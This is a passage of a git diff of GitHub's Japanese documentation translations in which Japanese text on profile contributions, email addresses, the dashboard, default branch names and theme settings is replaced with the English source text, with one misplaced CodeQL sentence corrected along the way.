b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md index fedd114638..47c7e5a660 100644 --- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md +++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md @@ -1,6 +1,6 @@ --- title: Sending enterprise contributions to your GitHub.com profile -intro: '{% data variables.product.prodname_dotcom_the_website %} プロフィールにコントリビューションカウントを送ることで、{% data variables.product.prodname_enterprise %} のあなたの作業をハイライトできます。' +intro: 'You can highlight your work on {% data variables.product.prodname_enterprise %} by sending the contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile.' redirect_from: - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile/ - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile @@ -19,16 +19,16 @@ shortTitle: Send enterprise contributions ## About enterprise contributions on your {% data variables.product.prodname_dotcom_the_website %} profile -Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data variables.product.prodname_enterprise %} からの {% data reusables.github-connect.sync-frequency %} コントリビューションのカウントは、プライベートコントリビューションとみなされます。 The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}. +Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% data variables.product.prodname_enterprise %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}. -You can decide whether to show counts for private contributions on your profile. 詳細は「[プライベートコントリビューションをプロフィールで公開または非公開にする](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)」を参照してください。 +You can decide whether to show counts for private contributions on your profile. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)." -コントリビューションの計算方法の詳しい情報については、「[プロフィールでコントリビューショングラフを管理する](/articles/managing-contribution-graphs-on-your-profile/)」を参照してください。 +For more information about how contributions are calculated, see "[Managing contribution graphs on your profile](/articles/managing-contribution-graphs-on-your-profile/)." {% note %} -**ノート:** -- お客様のアカウント間のコネクションは、GitHub's Privacy Statement が適用されます。また、接続を有効にしているユーザは、GitHub's Terms of Service を承諾するものとします。 +**Notes:** +- The connection between your accounts is governed by GitHub's Privacy Statement and users enabling the connection agree to the GitHub's Terms of Service. - Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner. @@ -46,16 +46,19 @@ You can decide whether to show counts for private contributions on your profile. {% elsif ghes %} 1. Sign in to {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_dotcom_the_website %}. -1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. ![ユーザバーの [Settings（設定）] アイコン](/assets/images/help/settings/userbar-account-settings.png) +1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. + ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} -1. {% data variables.product.prodname_dotcom_the_website %}アカウントから{% data variables.product.prodname_ghe_server %}がアクセスするリソースをレビューし、** Authorize（承認）**をクリックしてください。 ![GitHub Enterprise ServerとGitHub.com間の接続の承認](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) +1. Review the resources that {% data variables.product.prodname_ghe_server %} will access from your {% data variables.product.prodname_dotcom_the_website %} account, then click **Authorize**. + ![Authorize connection between GitHub Enterprise Server and GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% data reusables.github-connect.send-contribution-counts-to-githubcom %} {% elsif ghae %} 1. Sign in to {% data variables.product.prodname_ghe_managed %} and {% data variables.product.prodname_dotcom_the_website %}. -1. On {% data variables.product.prodname_ghe_managed %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. ![ユーザバーの [Settings（設定）] アイコン](/assets/images/help/settings/userbar-account-settings.png) +1. On {% data variables.product.prodname_ghe_managed %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. + ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} {% data reusables.github-connect.authorize-connection %} diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md index 1d11c0f039..75796df81d 100644 --- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md +++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md @@ -1,5 +1,5 @@ --- -title: プロフィールでコントリビューションを表示する +title: Viewing contributions on your profile intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories as well as{% endif %} a graph of your repository contributions over the past year.' redirect_from: - /articles/viewing-contributions/ @@ -16,90 +16,89 @@ topics: - Profiles shortTitle: View contributions --- - -{% ifversion fpt or ghes or ghec %}Your contribution graph shows activity from public repositories. {% endif %}匿名化されたプライベートリポジトリでのアクティビティの特定の詳細と一緒に、{% ifversion fpt or ghes or ghec %}パブリックリポジトリと{% endif %}プライベートリポジトリの両方からのアクティビティを表示することも選択できます。 詳細は「[プライベートコントリビューションをプロフィールで公開または非公開にする](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)」を参照してください。 +{% ifversion fpt or ghes or ghec %}Your contribution graph shows activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." {% note %} -**注釈:** コミットは、コミットの作成に使用したメールアドレスが {% data variables.product.product_name %} のアカウントに接続されている場合にのみ、コントリビューショングラフに表示されます。 詳細は「[コントリビューションがプロフィールに表示されないのはなぜですか？](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)」を参照してください。 +**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)" {% endnote %} -## コントリビューションとして何がカウントされるか +## What counts as a contribution -プロフィールページでは、特定のアクションがコントリビューションとしてカウントされます: +On your profile page, certain actions count as contributions: -- リポジトリのデフォルトブランチまたは `gh-pages` ブランチにコミットすること -- Issue を開くこと -- ディスカッションをオープンすること -- ディスカッションに回答すること -- プルリクエストを提案すること -- プルリクエストレビューのサブミット{% ifversion ghes or ghae %} -- リポジトリのデフォルトのブランチまたは `gh-pages` ブランチでコミットを共作{% endif %} +- Committing to a repository's default branch or `gh-pages` branch +- Opening an issue +- Opening a discussion +- Answering a discussion +- Proposing a pull request +- Submitting a pull request review{% ifversion ghes or ghae %} +- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %} {% data reusables.pull_requests.pull_request_merges_and_contributions %} -## 人気のあるリポジトリ +## Popular repositories -このセクションには、ウォッチャーが最も多いリポジトリが表示されます。 {% ifversion fpt or ghes or ghec %}[リポジトリをプロフィールにピン止め](/articles/pinning-repositories-to-your-profile)すると、このセクションは「固定リポジトリ」に変わります。{% endif %} +This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %} -![人気のあるリポジトリ](/assets/images/help/profile/profile_popular_repositories.png) +![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png) {% ifversion fpt or ghes or ghec %} ## Pinned repositories -このセクションには最大 6 つのパブリックリポジトリが表示されます。このリポジトリには、自分のリポジトリだけでなく、自分がコントリビュートしたリポジトリも含めることができます。 選択したリポジトリに関する重要な詳細を簡単に見るために、このセクションの各リポジトリには、行われている作業の要約、そのリポジトリに付いた [Star](/articles/saving-repositories-with-stars/) の数、およびそのリポジトリで使用されている主なプログラミング言語が含まれます。 詳細は「[プロフィールにリポジトリをピン止めする](/articles/pinning-repositories-to-your-profile)」を参照してください。 +This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)." ![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png) {% endif %} -## コントリビューションカレンダー +## Contributions calendar -コントリビューションカレンダーは、コントリビューションアクティビティを表示します。 +Your contributions calendar shows your contribution activity. -### 特定の時期からのコントリビューションを表示する +### Viewing contributions from specific times -- ある日の正方形をクリックすると、その 24 時間の間になされたコントリビューションが表示されます。 -- *Shift* を押しながら、別の日の四角をクリックすると、その期間中に行われたコントリビューションが表示されます。 +- Click on a day's square to show the contributions made during that 24-hour period. +- Press *Shift* and click on another day's square to show contributions made during that time span. {% note %} -**メモ:** コントリビューションカレンダーでは 1 か月の範囲まで選ぶことができます。 より長期間を選択した場合、1 か月分のコントリビューションのみが表示されます。 +**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions. {% endnote %} -![コントリビューショングラフ](/assets/images/help/profile/contributions_graph.png) +![Your contributions graph](/assets/images/help/profile/contributions_graph.png) -### コントリビューションイベント時間の計算方法 +### How contribution event times are calculated -タイムスタンプは、コミットとプルリクエストでは異なる方法で計算されます: -- **コミット**は、コミットタイムスタンプのタイムゾーン情報を使用します。 詳細は「[タイムライン上のコミットのトラブルシューティング](/articles/troubleshooting-commits-on-your-timeline)」を参照してください。 -- {% data variables.product.product_name %} で開かれた**プルリクエスト**と **Issue** は、ブラウザのタイムゾーンを使用します。 API を介して開かれたものは、[API 呼び出しで指定された](https://developer.github.com/changes/2014-03-04-timezone-handling-changes)タイムスタンプまたはタイムゾーンを使用します。 +Timestamps are calculated differently for commits and pull requests: +- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)." +- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes). -## アクティビティの概要 +## Activity overview -{% data reusables.profile.activity-overview-summary %} 詳細は「[プロフィール上にアクティビティの概要を表示する](/articles/showing-an-overview-of-your-activity-on-your-profile)」を参照してください。 +{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)." -![プロフィール上のアクティビティオーバービューセクション](/assets/images/help/profile/activity-overview-section.png) +![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png) -アクティビティの概要に記載されている Organization は、Organization 内でのアクティビティの程度に応じて優先順位が付けられています。 プロフィール略歴で Organization に @メンションしており、あなたが Organization のメンバーである場合、その Organization がアクティビティの概要で最優先されます。 For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)." +The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)." -## コントリビューションアクティビティ +## Contribution activity -コントリビューションアクティビティセクションには、あなたが行った、または共作したコミット、あなたが提案したプルリクエスト、あなたが開いた Issue を含む、あなたの仕事の詳細なタイムラインが含まれています。 コントリビューションアクティビティの下にある **Show more activity** をクリックするか、ページの右側に表示したい興味のある年をクリックすることで、コントリビューションを時間の経過とともに見ることができます。 Organization に参加した日付、最初のプルリクエストを提案した日付、または注目度の高い Issue を開いた日付など、重要な瞬間が、コントリビューションアクティビティで強調されます。 タイムラインに特定のイベントが表示されない場合は、イベントが発生した Organization またはリポジトリにまだアクセスできることを確認してください。 +The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened. -![コントリビューションアクティビティ時間フィルター](/assets/images/help/profile/contributions_activity_time_filter.png) +![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png) {% ifversion fpt or ghes or ghae-next or ghec %} -## {% data variables.product.prodname_dotcom_the_website %} 上の {% data variables.product.prodname_enterprise %} からコントリビューションを表示する +## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %} If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.product.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." {% endif %} -## 参考リンク +## Further reading -- [プロフィールページ上にコントリビューションを表示する](/articles/viewing-contributions-on-your-profile-page) +- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md index 6af2ca1169..02920b3ba8 100644 --- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md +++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md @@ -1,6 +1,6 @@ --- -title: GitHub アカウントへのメールアドレスの追加 -intro: '{% data variables.product.product_name %}では、アカウントに必要なだけのメールアドレスを追加できます。 ローカルの Git にメールアドレスを設定してある場合、コミットをアカウントに接続するにはそのアドレスをアカウント設定に追加する必要があります。 メールアドレスとコミットに関する詳細は「 [コミットメールアドレスを設定する] (/articles/setting-your-commit-email-address/)」を参照してください。' +title: Adding an email address to your GitHub account +intro: '{% data variables.product.product_name %} allows you to add as many email addresses to your account as you like. If you set an email address in your local Git configuration, you will need to add it to your account settings in order to connect your commits to your account. For more information about your email address and commits, see "[Setting your commit email address](/articles/setting-your-commit-email-address/)."' redirect_from: - /articles/adding-an-email-address-to-your-github-account - /github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account @@ -14,12 +14,11 @@ topics: - Notifications shortTitle: Add an email address --- - {% ifversion fpt or ghec %} {% note %} -設定ファイルでクエリスイートを指定すると、{% data variables.product.prodname_codeql %} 分析エンジンは、デフォルトのクエリセットに加えて、スイートに含まれるクエリを実行します。 +**Notes**: - {% data reusables.user_settings.no-verification-disposable-emails %} - If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot make changes to your email address on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %} @@ -32,6 +31,6 @@ shortTitle: Add an email address {% data reusables.user_settings.add_and_verify_email %} {% data reusables.user_settings.select_primary_email %} -## 参考リンク +## Further reading -- [メールプリファレンスの管理](/articles/managing-email-preferences/) +- "[Managing email preferences](/articles/managing-email-preferences/)" diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md index 0986fc603b..0eb7cae0e9 100644 --- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md +++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md @@ -1,12 +1,12 @@ --- -title: パーソナルダッシュボードについて +title: About your personal dashboard redirect_from: - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github/ - /articles/opting-into-the-public-beta-for-a-new-dashboard/ - /articles/about-your-personal-dashboard - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard -intro: パーソナルダッシュボードにアクセスして、作業したりフォローしたりしている Issue やプルリクエストを追跡したり、トップリポジトリや Team のページにアクセスしたり、Organization やサブスクライブしているリポジトリの最近のアクティビティを知ったり、推奨されたリポジトリを調べたりできます。 +intro: 'You can visit your personal dashboard to keep track of issues and pull requests you''re working on or following, navigate to your top repositories and team pages, stay updated on recent activities in organizations and repositories you''re subscribed to, and explore recommended repositories.' versions: fpt: '*' ghes: '*' @@ -16,48 +16,47 @@ topics: - Accounts shortTitle: Your personal dashboard --- +## Accessing your personal dashboard -## パーソナルダッシュボードにアクセスする +Your personal dashboard is the first page you'll see when you sign in on {% data variables.product.product_name %}. -パーソナルダッシュボードは、{% data variables.product.product_name %}にサインインしたときに最初に表示されるページです。 +To access your personal dashboard once you're signed in, click the {% octicon "mark-github" aria-label="The github octocat logo" %} in the upper-left corner of any page on {% data variables.product.product_name %}. -サインインした後にパーソナルダッシュボードにアクセスするには、{% data variables.product.product_name %} の任意のページの左上の隅にある {% octicon "mark-github" aria-label="The github octocat logo" %} をクリックします。 +## Finding your recent activity -## 最近のアクティビティを見つける - -ニュースフィードの [Recent activity] セクションでは、あなたが作業している最近更新された Issue やプルリクエストを素早く見つけてフォローアップできます。 [Recent activity] の下では、過去 2 週間に行われた更新のプレビューを最大 12 件見ることができます。 +In the "Recent activity" section of your news feed, you can quickly find and follow up with recently updated issues and pull requests you're working on. Under "Recent activity", you can preview up to 12 recent updates made in the last two weeks. {% data reusables.dashboard.recent-activity-qualifying-events %} -## トップリポジトリと Team を見つける +## Finding your top repositories and teams -ダッシュボードの左サイドバーから、使っている上位のリポジトリおよび Team にアクセスできます。 +In the left sidebar of your dashboard, you can access the top repositories and teams you use. -![さまざまな Organization のリポジトリや Team のリスト](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png) +![list of repositories and teams from different organizations](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png) -上位のリポジトリのリストは自動的に生成され、アカウントが直接所有しているかどうかに関係なく、操作したリポジトリを含めることができます。 インタラクションには、コミットの作成、Issue およびプルリクエストのオープンまたはコメントが含まれます。 上位のリポジトリのリストは編集できませんが、リポジトリを最後に操作してから 4 か月後にリポジトリはリストから削除されます。 +The list of top repositories is automatically generated, and can include any repository you have interacted with, whether it's owned directly by your account or not. Interactions include making commits and opening or commenting on issues and pull requests. The list of top repositories cannot be edited, but repositories will drop off the list 4 months after you last interacted with them. -{% data variables.product.product_name %} 上の任意のページの上部にある検索バーをクリックすれば、最近アクセスしたリポジトリ、Team、プロジェクトボードのリストを見つけることもできます。 +You can also find a list of your recently visited repositories, teams, and project boards when you click into the search bar at the top of any page on {% data variables.product.product_name %}. -## コミュニティからのアクティビティの更新を受ける +## Staying updated with activity from the community -ニュースフィードの [All activity] セクションでは、サブスクライブしているリポジトリやフォローしている人からの更新情報を見ることができます。 [All activity] セクションは、あなたが Watch したり Star を付けたりしたリポジトリや、あなたがフォローしているユーザからの更新情報が示されます。 +In the "All activity" section of your news feed, you can view updates from repositories you're subscribed to and people you follow. The "All activity" section shows updates from repositories you watch or have starred, and from users you follow. -ニュースフィードでは、あなたがフォローしているユーザが以下のことをした場合に更新情報が示されます: -- リポジトリに Star を付ける。 -- 別のユーザをフォローする。{% ifversion fpt or ghes or ghec %} -- パブリックリポジトリを作成する{% endif %} -- あなたが Watch しているリポジトリ上で "help wanted" あるいは "good first issue" のラベルを付けた Issue あるいはプルリクエストをオープンする。 +You'll see updates in your news feed when a user you follow: +- Stars a repository. +- Follows another user.{% ifversion fpt or ghes or ghec %} +- Creates a public repository.{% endif %} +- Opens an issue or pull request with "help wanted" or "good first issue" label on a repository you're watching. - Pushes commits to a repository you watch.{% ifversion fpt or ghes or ghec %} -- パブリックリポジトリをフォークする。{% endif %} +- Forks a public repository.{% endif %} - Publishes a new release. -リポジトリへの Star 付けや人のフォローに関する詳細は「[Star を付けてリポジトリを保存する](/articles/saving-repositories-with-stars/)」および「[人をフォローする](/articles/following-people)」を参照してください。 +For more information about starring repositories and following people, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)" and "[Following people](/articles/following-people)." -## 推奨されているリポジトリを調べる +## Exploring recommended repositories -ダッシュボードの右側にある [Explore repositories] セクションでは、コミュニティで推奨されているリポジトリを調べることができます。 推奨は、Star を付けたりアクセスしたりしたリポジトリ、フォローしているユーザ、アクセスしたリポジトリ内のアクティビティに基づいています。{% ifversion fpt or ghec %}詳細は、「[{% data variables.product.prodname_dotcom %} でオープンソースにコントリビュートする方法を見つける](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)」を参照してください。{% endif %} +In the "Explore repositories" section on the right side of your dashboard, you can explore recommended repositories in your communities. Recommendations are based on repositories you've starred or visited, the people you follow, and activity within repositories that you have access to.{% ifversion fpt or ghec %} For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %} -## 参考リンク +## Further reading -- 「[Organization ダッシュボードについて](/articles/about-your-organization-dashboard)」 +- "[About your organization dashboard](/articles/about-your-organization-dashboard)" diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md index a1c8c754cf..9e5c6fc01c 100644 --- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md +++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md @@ -1,5 +1,5 @@ --- -title: リポジトリのデフォルトブランチ名を管理する +title: Managing the default branch name for your repositories intro: 'You can set the default branch name for new repositories that you create on {% data variables.product.product_location %}.' versions: fpt: '*' @@ -11,23 +11,25 @@ topics: redirect_from: - /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories -shortTitle: デフォルトブランチ名の管理 +shortTitle: Manage default branch name --- +## About management of the default branch name -## デフォルトブランチ名について +When you create a new repository on {% data variables.product.product_location %}, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories you create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." -{% data variables.product.product_location %} に新しいリポジトリを作成すると、リポジトリにはデフォルトブランチである 1 つのブランチが含まれます。 作成する新しいリポジトリのデフォルトブランチに {% data variables.product.product_name %} が使用する名前を変更できます。 デフォルトブランチの詳細については、「[ブランチについて](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)」を参照してください。 +{% data reusables.branches.change-default-branch %} -{% data reusables.branches.set-default-branch %} - -## デフォルトブランチ 名を設定する +## Setting the default branch name {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.repo-tab %} -3. [Repository default branch] で、[**Change default branch name now**] をクリックします。 ![[Override] ボタン](/assets/images/help/settings/repo-default-name-button.png) -4. 新しいブランチに使用したいデフォルト名を入力します。 ![デフォルト名を入力するテキストフィールド](/assets/images/help/settings/repo-default-name-text.png) -5. [**Update**] をクリックします。 ![[Update] ボタン](/assets/images/help/settings/repo-default-name-update.png) +3. Under "Repository default branch", click **Change default branch name now**. + ![Override button](/assets/images/help/settings/repo-default-name-button.png) +4. Type the default name that you would like to use for new branches. + ![Text box for entering default name](/assets/images/help/settings/repo-default-name-text.png) +5. Click **Update**. + ![Update button](/assets/images/help/settings/repo-default-name-update.png) -## 参考リンク +## Further reading -- 「[Organization のリポジトリのデフォルブランチ名を管理する](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)」 +- "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)" diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md index e413afadc1..ff77342e3d 100644 --- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md +++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md @@ -1,5 +1,5 @@ --- -title: テーマ設定を管理する +title: Managing your theme settings intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.' versions: fpt: '*' @@ -14,7 +14,7 @@ redirect_from: shortTitle: Manage theme settings --- -{% data variables.product.product_name %} を使用時期と使用方法を選択して柔軟性を高めるために、テーマ設定をして {% data variables.product.product_name %} の外観を変更できます。 You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings. +For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings. You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks. @@ -22,21 +22,21 @@ You may want to use a dark theme to reduce power consumption on certain devices, {% note %} -**Note:** The colorblind themes are currently in public beta. For more information on enabling features in public beta, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)." +**Note:** The colorblind themes and light high contrast theme are currently in public beta. For more information on enabling features in public beta, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)." {% endnote %} {% endif %} {% data reusables.user_settings.access_settings %} -1. [User settings] サイドバーで、[**Appearance**] をクリックします。 +1. In the user settings sidebar, click **Appearance**. - ![[User settings] サイドバーの [Appearance] タブ](/assets/images/help/settings/appearance-tab.png) + !["Appearance" tab in user settings sidebar](/assets/images/help/settings/appearance-tab.png) 1. Under "Theme mode", select the drop-down menu, then click a theme preference. ![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png) -1. 使いたいテーマをクリックしてください。 +1. Click the theme you'd like to use. - If you chose a single theme, click a theme. {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png){% else %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme.png){% endif %} @@ -56,6 +56,6 @@ You may want to use a dark theme to reduce power consumption on certain devices, {% endif %} -## 参考リンク +## Further reading -- "[{% data variables.product.prodname_desktop %}用のテーマの設定方法](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)" +- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)" diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md index 3cd0471a5f..b13d0f4867 100644 --- 